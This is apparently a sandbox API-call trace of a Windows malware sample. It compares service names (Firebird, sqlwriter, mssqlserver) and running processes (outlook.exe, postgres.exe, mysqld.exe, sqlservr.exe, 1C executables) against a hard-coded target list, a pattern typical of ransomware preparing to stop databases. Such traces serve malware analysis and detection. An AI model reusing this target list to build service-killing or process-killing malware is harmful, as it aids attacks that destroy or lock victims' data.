	[0164.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0164.238] lstrlenW (lpString="RpcSs") returned 5
	[0164.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0164.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0164.238] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0164.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0164.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0164.238] lstrlenW (lpString="SamSs") returned 5
	[0164.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0164.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0164.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0164.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0164.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0164.239] lstrlenW (lpString="Schedule") returned 8
	[0164.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0164.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0164.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0164.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0164.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0164.239] lstrlenW (lpString="SecurityHealthService") returned 21
	[0164.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0164.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0164.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0164.239] lstrlenW (lpString="SENS") returned 4
	[0164.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0164.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0164.240] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0164.240] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0164.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0164.240] lstrlenW (lpString="ShellHWDetection") returned 16
	[0164.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.240] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0164.240] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0164.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0164.240] lstrlenW (lpString="Spooler") returned 7
	[0164.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0164.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0164.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0164.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0164.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0164.240] lstrlenW (lpString="StateRepository") returned 15
	[0164.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0164.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0164.240] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0164.241] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0164.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0164.241] lstrlenW (lpString="SysMain") returned 7
	[0164.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0164.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0164.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0164.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0164.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0164.241] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0164.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0164.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0164.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0164.241] lstrlenW (lpString="Themes") returned 6
	[0164.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0164.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0164.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0164.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0164.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0164.242] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0164.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.242] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0164.242] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0164.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4642fd8 | out: hHeap=0x4f0000) returned 1
	[0164.242] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x554
	[0164.249] Process32FirstW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0164.250] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0164.252] lstrlenW (lpString="System") returned 6
	[0164.252] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0164.254] lstrlenW (lpString="smss.exe") returned 8
	[0164.254] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.255] lstrlenW (lpString="csrss.exe") returned 9
	[0164.255] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0164.256] lstrlenW (lpString="wininit.exe") returned 11
	[0164.256] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.257] lstrlenW (lpString="csrss.exe") returned 9
	[0164.257] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0164.258] lstrlenW (lpString="winlogon.exe") returned 12
	[0164.258] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0164.259] lstrlenW (lpString="services.exe") returned 12
	[0164.260] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0164.261] lstrlenW (lpString="lsass.exe") returned 9
	[0164.261] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0164.261] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0164.261] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0164.261] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0164.261] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0164.261] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0164.261] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0164.261] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.263] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.263] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1
	[0164.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1
	[0164.263] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.263] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.263] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.263] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.264] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.264] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1
	[0164.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1
	[0164.265] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.265] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1
	[0164.265] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.266] lstrlenW (lpString="svchost.exe") returned 11
	[0164.266] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.266] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.266] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.266] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.268] lstrlenW (lpString="svchost.exe") returned 11
	[0164.268] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.268] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.268] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.268] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.268] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.268] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.268] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.268] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0164.640] lstrlenW (lpString="dwm.exe") returned 7
	[0164.640] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1
	[0164.640] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1
	[0164.640] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1
	[0164.640] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1
	[0164.640] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1
	[0164.640] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1
	[0164.640] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1
	[0164.640] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.641] lstrlenW (lpString="svchost.exe") returned 11
	[0164.641] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.642] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.642] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.642] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.642] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.642] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.642] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.642] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.647] lstrlenW (lpString="svchost.exe") returned 11
	[0164.647] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.647] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.647] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.647] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.647] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.647] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.647] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.647] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.648] lstrlenW (lpString="svchost.exe") returned 11
	[0164.648] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.649] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.649] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.649] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.651] lstrlenW (lpString="svchost.exe") returned 11
	[0164.651] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.651] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.651] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.651] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.651] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.651] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.651] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.652] lstrlenW (lpString="svchost.exe") returned 11
	[0164.652] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.653] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.653] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.653] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.653] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.653] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.653] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.653] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.654] lstrlenW (lpString="svchost.exe") returned 11
	[0164.654] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.654] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.655] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.655] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.655] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.655] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.655] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.655] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.656] lstrlenW (lpString="svchost.exe") returned 11
	[0164.657] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.657] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.668] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.668] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.668] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.668] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.668] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.668] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.670] lstrlenW (lpString="svchost.exe") returned 11
	[0164.670] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.670] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.670] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.670] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.670] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.670] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.670] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.670] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.671] lstrlenW (lpString="svchost.exe") returned 11
	[0164.671] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.671] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.671] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.671] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.671] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.671] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.671] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.671] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.672] lstrlenW (lpString="svchost.exe") returned 11
	[0164.672] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.672] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.673] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.673] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.673] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.673] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.673] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.673] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0164.674] lstrlenW (lpString="spoolsv.exe") returned 11
	[0164.674] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1
	[0164.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1
	[0164.674] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1
	[0164.674] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1
	[0164.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1
	[0164.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1
	[0164.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1
	[0164.674] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.675] lstrlenW (lpString="svchost.exe") returned 11
	[0164.675] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0164.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0164.675] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0164.675] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0164.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0164.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0164.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0164.676] Process32NextW (in: hSnapshot=0x554, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0164.676] lstrlenW (lpString="audiodg.exe") returned 11
	[0164.677] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0164.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
